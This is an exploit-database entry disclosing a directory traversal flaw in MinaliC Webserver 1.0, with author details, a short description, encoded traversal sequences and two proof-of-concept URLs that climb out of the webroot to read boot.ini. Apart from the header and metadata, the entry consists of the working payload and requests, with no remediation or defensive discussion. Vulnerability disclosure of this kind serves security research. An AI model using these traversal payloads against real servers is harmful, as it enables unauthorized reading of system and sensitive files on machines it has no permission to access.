[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MinaliC Webserver v1.0 Directory Traversal Vulnerability
# Published : 2010-10-27
# Author : John Leitch
# Previous Title : MinaliC Webserver 1.0 Remote Source Disclosure/File Download
# Next Title : Mongoose Web Server 2.11 Directory Traversal Vulnerability
------------------------------------------------------------------------
Software................MinaliC Webserver 1.0
Vulnerability...........Directory Traversal
Download................http://sourceforge.net/projects/minalic/
Release Date............10/24/2010
Tested On...............Windows XP
------------------------------------------------------------------------
Author..................John Leitch
Site....................http://www.johnleitch.net/
Email...................john.leitch5@gmail.com
------------------------------------------------------------------------
--Description--
A directory traversal vulnerability in MinaliC Webserver 1.0 can be
exploited to read files outside of the webroot directory.
--Exploit--
..%2f
..%5c
--PoC--
http://localhost:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
http://localhost:8080/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini